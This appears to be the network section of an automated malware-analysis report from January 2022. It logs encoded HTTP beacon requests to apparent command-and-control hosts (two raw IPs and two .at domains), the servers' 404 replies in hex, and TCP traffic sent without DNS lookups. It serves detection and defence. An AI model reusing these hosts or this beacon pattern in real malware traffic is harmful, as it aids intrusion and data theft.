Source: global traffic	HTTP traffic detected: GET /drew/t4UXVVFvbg_2F3LXo8gXBT/1icGJdsG14mTA/YOVrBwZF/xARqsNBXczJePkKt2X6ww_2/BWmoPwSUrF/dMkwNYvCaezjn8JBl/H0ytvGxBbW3l/zR2N_2BHrz_/2FvsAN_2FRzTTC/lSSKBusA2w75D7HkZKGJs/DACOMqt0XK0wSfc5/bo0iFsZeiFg2i2l/JDzyY2V7hheHpK0ocJ/ZgcshLwb0/jlOmaQmjqFbHJJo3m7Pt/o4K7mLse1jm/1K47Z.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.76.226.200
Source: global traffic	HTTP traffic detected: GET /drew/vDXEGqf4EaI6e/GBZCusNA/wGFZ17UZEew5_2F3lztpfux/SlqAMrP7W1/XBD36Fnf1Eq7wA6HD/bZQhlGWv2oMx/02wZPYg1S9_/2FsBPVVzIGiliu/ZgesoO3_2BU1Itp9mWBBQ/zS9Fa06G7Ifi1Qdi/yVB_2BRlu8Zp_2B/LJtKQv4YtcqH6IAzxR/L6Ho0ZvfB/evXUKtmzU_2B4Fe1cs5B/1wJA25jdSjnKCVAyqP7/xAdhGKLVvM/CvkvXIJYGs/9.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: giporedtrip.at
Source: global traffic	HTTP traffic detected: GET /drew/AvYfyTR_2B2G3/_2F4h5ah/TJ34ZXtaMR1Oc3_2BPI0hI4/GdwumcM9XU/qAwknuMeebVU2QdSF/VN2ToaIYsZPU/kI1do_2B9jW/Q9gfyv85CoHPvT/SnqcLw3TTcQW61PNrLWiv/_2BkKhdRaMJkT9HD/82Fg3tERnOrn6Yg/fT2SNRr4ih8M1B9lEq/WIX8riitn/8yNrCBKJNgpm3khA4gSx/B8X3zDAJaQCYV1F4k99/jQHMcxYL/Il8wT6lWu/Ih.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: habpfans.at
Source: global traffic	HTTP traffic detected: GET /drew/XdSo6qg_2FEgYysST/WOvXNJFccrJx/zVwG0bEZwA1/FgOrwJqVq8qQMt/gJKBdkHK_2BRbM8cGXljg/dR5mjLhLFYJj3437/sCPrzkqYN8vu4UK/Lv8bHqBMBEjz1n4JUX/xuOm6McxD/U7cQGMW7Bxk_2BVYpR1Y/2dwD1RGZgWHtptGZcjA/6KkSFpd8oqg4xHg9j8CKKi/XQJvRiHHSuj0_/2BwWvoV7/60l_2BahFJ3qIHK1CvN87c7/jOCSFwu.jlk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.214.157.187

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Jan 2022 16:03:50 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Jan 2022 16:04:12 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Jan 2022 16:04:33 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Jan 2022 16:04:54 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Jan 2022 16:05:34 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Jan 2022 16:05:55 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Jan 2022 16:06:17 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Jan 2022 16:06:38 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: unknown	TCP traffic detected without corresponding DNS query: 194.76.226.200
Source: unknown	TCP traffic detected without corresponding DNS query: 194.76.226.200
Source: unknown	TCP traffic detected without corresponding DNS query: 194.76.226.200
Source: unknown	TCP traffic detected without corresponding DNS query: 194.76.226.200
Source: unknown	TCP traffic detected without corresponding DNS query: 31.214.157.187
Source: unknown	TCP traffic detected without corresponding DNS query: 31.214.157.187
Source: unknown	TCP traffic detected without corresponding DNS query: 31.214.157.187
Source: unknown	TCP traffic detected without corresponding DNS query: 31.214.157.187
Source: unknown	TCP traffic detected without corresponding DNS query: 194.76.226.200
Source: unknown	TCP traffic detected without corresponding DNS query: 194.76.226.200
Source: unknown	TCP traffic detected without corresponding DNS query: 31.214.157.187
Source: unknown	TCP traffic detected without corresponding DNS query: 31.214.157.187
Source: unknown	TCP traffic detected without corresponding DNS query: 194.76.226.200
Source: unknown	TCP traffic detected without corresponding DNS query: 194.76.226.200
Source: unknown	TCP traffic detected without corresponding DNS query: 194.76.226.200
Source: unknown	TCP traffic detected without corresponding DNS query: 194.76.226.200
